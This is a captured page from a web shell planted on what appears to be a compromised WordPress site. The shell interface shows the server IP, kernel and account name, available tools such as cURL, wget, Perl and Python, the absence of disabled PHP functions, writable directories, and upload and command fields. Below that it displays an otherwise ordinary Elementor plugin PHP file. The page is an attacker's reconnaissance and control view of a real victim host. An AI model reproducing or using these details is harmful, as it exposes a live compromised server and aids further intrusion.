403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.112
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/plugins/elementor/modules/global-classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/plugins/elementor/modules/global-classes/global-classes-injector.php
<?php

namespace Elementor\Modules\GlobalClasses;

use Elementor\Core\Files\CSS\Post;
use Elementor\Modules\AtomicWidgets\Styles\Styles_Renderer;
use Elementor\Plugin;

class Global_Classes_Injector {
	public function register_hooks() {
		add_action( 'elementor/css-file/post/parse', fn( Post $post ) => $this->inject_global_classes( $post ) );
	}

	private function inject_global_classes( Post $post ) {
		if ( ! Plugin::$instance->kits_manager->is_kit( $post->get_post_id() ) ) {
			return;
		}

		$global_classes = Global_Classes_Repository::make()->all();

		if ( $global_classes->get_items()->is_empty() ) {
			return;
		}

		$sorted_items = $global_classes
			->get_order()
			->map(
				fn( $id ) => $global_classes->get_items()->get( $id )
			);

		$css = Styles_Renderer::make( [
			'breakpoints' => Plugin::$instance->breakpoints->get_breakpoints_config(),
		] )->render( $sorted_items->all() );

		$post->get_stylesheet()->add_raw_css( $css );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit